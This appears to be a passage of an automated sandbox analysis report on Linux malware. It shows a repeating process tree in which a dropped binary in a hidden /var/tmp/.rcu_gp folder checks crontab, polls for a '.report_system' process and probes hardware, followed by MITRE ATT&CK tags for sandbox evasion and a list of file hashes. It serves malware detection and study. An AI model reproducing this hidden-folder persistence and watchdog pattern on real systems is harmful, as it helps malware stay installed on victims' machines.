/usr/bin/crontabcrontab -l2⤵PID:1798
-
-
/usr/bin/grepgrep -q .main2⤵PID:1799
-
-
/usr/bin/sleepsleep 2.52⤵PID:1800
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1801
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1802 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1803
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1805
-
-
/usr/bin/crontabcrontab -l2⤵PID:1804
-
-
/usr/bin/sleepsleep 2.52⤵PID:1806
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1807
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1808 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1809
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1811
-
-
/usr/bin/crontabcrontab -l2⤵PID:1810
-
-
/usr/bin/sleepsleep 2.52⤵PID:1812
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1813
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1814 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1815
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1817
-
-
/usr/bin/crontabcrontab -l2⤵PID:1816
-
-
/usr/bin/sleepsleep 2.52⤵PID:1818
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1819
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1820 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1821
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1822
-
-
/usr/bin/grepgrep -q .main2⤵PID:1823
-
-
/usr/bin/sleepsleep 2.52⤵PID:1824
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1825
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1826 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1827
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1829
-
-
/usr/bin/crontabcrontab -l2⤵PID:1828
-
-
/usr/bin/sleepsleep 2.52⤵PID:1830
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1831
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1832 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1833
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1834
-
-
/usr/bin/grepgrep -q .main2⤵PID:1835
-
-
/usr/bin/sleepsleep 2.52⤵PID:1836
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1837
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1838 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1839
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1840
-
-
/usr/bin/grepgrep -q .main2⤵PID:1841
-
-
/usr/bin/sleepsleep 2.52⤵PID:1842
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1843
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1844 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1845
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1847
-
-
/usr/bin/crontabcrontab -l2⤵PID:1846
-
-
/usr/bin/sleepsleep 2.52⤵PID:1848
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1849
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1850 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1851
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1853
-
-
/usr/bin/crontabcrontab -l2⤵PID:1852
-
-
/usr/bin/sleepsleep 2.52⤵PID:1854
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1855
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1856 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1857
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1859
-
-
/usr/bin/crontabcrontab -l2⤵PID:1858
-
-
/usr/bin/sleepsleep 2.52⤵PID:1860
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1861
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1862 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1863
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1865
-
-
/usr/bin/crontabcrontab -l2⤵PID:1864
-
-
/usr/bin/sleepsleep 2.52⤵PID:1866
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1867
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1868 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1869
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1871
-
-
/usr/bin/crontabcrontab -l2⤵PID:1870
-
-
/usr/bin/sleepsleep 2.52⤵PID:1872
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1873
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1874 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1875
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1877
-
-
/usr/bin/crontabcrontab -l2⤵PID:1876
-
-
/usr/bin/sleepsleep 2.52⤵PID:1878
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1879
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1880 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1881
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1883
-
-
/usr/bin/crontabcrontab -l2⤵PID:1882
-
-
/usr/bin/sleepsleep 2.52⤵PID:1884
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1885
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1886 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1887
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1889
-
-
/usr/bin/crontabcrontab -l2⤵PID:1888
-
-
/usr/bin/sleepsleep 2.52⤵PID:1890
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1891
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1892 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1893
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1895
-
-
/usr/bin/crontabcrontab -l2⤵PID:1894
-
-
/usr/bin/sleepsleep 2.52⤵PID:1896
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1897
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1898 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1899
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1901
-
-
/usr/bin/crontabcrontab -l2⤵PID:1900
-
-
/usr/bin/sleepsleep 2.52⤵PID:1902
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1906
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1907 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1908
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1910
-
-
/usr/bin/crontabcrontab -l2⤵PID:1909
-
-
/usr/bin/sleepsleep 2.52⤵PID:1911
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1912
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1913 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1914
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1916
-
-
/usr/bin/crontabcrontab -l2⤵PID:1915
-
-
/usr/bin/sleepsleep 2.52⤵PID:1917
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1918
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1919 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1920
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1922
-
-
/usr/bin/crontabcrontab -l2⤵PID:1921
-
-
/usr/bin/sleepsleep 2.52⤵PID:1923
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1924
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1925 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1926
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1928
-
-
/usr/bin/crontabcrontab -l2⤵PID:1927
-
-
/usr/bin/sleepsleep 2.52⤵PID:1929
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1930
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1931 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1932
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1934
-
-
/usr/bin/crontabcrontab -l2⤵PID:1933
-
-
/usr/bin/sleepsleep 2.52⤵PID:1935
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1936
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1937 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1938
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1940
-
-
/usr/bin/crontabcrontab -l2⤵PID:1939
-
-
/usr/bin/sleepsleep 2.52⤵PID:1941
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1942
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1943 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1944
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1946
-
-
/usr/bin/crontabcrontab -l2⤵PID:1945
-
-
/usr/bin/sleepsleep 2.52⤵PID:1947
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1948
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1949 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1950
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1951
-
-
/usr/bin/grepgrep -q .main2⤵PID:1952
-
-
/usr/bin/sleepsleep 2.52⤵PID:1953
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1954
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1955 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1956
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1958
-
-
/usr/bin/crontabcrontab -l2⤵PID:1957
-
-
/usr/bin/sleepsleep 2.52⤵PID:1959
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1960
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1961 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1962
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1964
-
-
/usr/bin/crontabcrontab -l2⤵PID:1963
-
-
/usr/bin/sleepsleep 2.52⤵PID:1965
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1966
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1967 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1968
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1970
-
-
/usr/bin/crontabcrontab -l2⤵PID:1969
-
-
/usr/bin/sleepsleep 2.52⤵PID:1971
-
-
/var/tmp/.rcu_gp/.report_system/var/tmp/.rcu_gp/./.report_system1⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:1638
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
317B
MD55625b47b629566798247c332e12a874a
SHA1c5e6c09cf706f408c5892368858667cf34dbda9d
SHA2562ddc267b6dc335f0610b5a3214219c3987dad0f35bfb80fdc5694fe2260c01de
SHA51298ed5b5b2f2bb15580f54e3b233981c211cb292d1a536c9d599405f612b5b7eb5da4a42ad14ae7ca1ea65658da76cc5cc1c006d15885a83a9cb42c20fdac7970
-
Filesize
17B
MD5ed41f347e368587902ee39ae0820e4f3
SHA155fc93606d1c801650fb68c85b4535658f44e51b
SHA256fadf3c99404046418d249eca29c985b40bf34d6bb6000f32bb73f39e0d6e5016
SHA5125ccd1805d59b3d114eeaaee5a422d4d37c9e7c0629ecfe43111b9c1512c3dbb649fc97e50c4c6d74ac05a0c34b4b53e4924a0dbf4decec83c1db7faed890a607
-
Filesize
31B
MD53849d2e2d4fbd74bf13c86237e5f8257
SHA11a1d605574d84531c36967e62c50387af56ec048
SHA2565a91635ed578ff1552d71f49009f5d507273b42d926960b44d952bf659c4b64e
SHA51206ee5e3db69f1cff254e46e77d6e10ab92729e3fb9dc7f961fc438d98d3fdb00a86b76e05c79215b3a7e4f25ba821285edb1ff8a8a8a76cc9f38b501891d9497
-
Filesize
76B
MD5268448409cd2df039233e116f5ff4cfd
SHA16df0a74b2cef2974dbd8422b027a29a40a5f9ad8
SHA25600293284adf5483c18ab9f69f92f52fb35568bab00ee7e4f70a490e779ddc3e8
SHA512774b981b5c388924868f10a61d1e7bc2a4207acef8bd02134d675e2197dd6590ab643201db9d1e5e700fa5d3b83a0f1d53d69c216c3b17dec5c4aec90799609c
-
Filesize
122B
MD5fc16ad6d39c8c6669ea14e35610d398b
SHA10644c85527d59857d780c26d9db9c585066a9f1a
SHA256d1e064e763215d12123c8711c37a070a6ba95c9458c0f980a308ffbd00863493
SHA512f219d7a9f1b7c35a1e4be974a62fd7a566c209f8261e06183cf9375925185c0d2e286df2f76fcec941c370738622bd592d1f398b852dda43dafd90d0bb64fe70
-
Filesize
8.2MB
MD500e388ceb8a82839ab020c0f00796095
SHA123b4374fd00bce863bef82db39be0e3e24bd10c8
SHA256e7fb73cd8aac3a731f7225b565e2f2094c40b22909a8e593117d6385947839c3
SHA51258496752298e5a4ab875d0f37837c758fd828779129d389fb67b8c8c78036200f692cb1c1b5a4176bc0345af136cf24b9aebb7127a5c42a313d6de2514f79d52
-
Filesize
138B
MD5f45f493236ade67c79d8337a54ee9b08
SHA19af31951b0f22b873d9753a3eeb460045e29e8b7
SHA256fd9a67520b2bdd386f6d4918dedf97bf16ca017b5e42790a0ed82eca336a6359
SHA512b9b10e26a118d95e85690f2c9c67dc81baf0bfc3ddabbc3e0553a4a1d04a4c9def0867017b269e5af0f94f319686db9adc8e87fca483d98c32a8733692c35ac4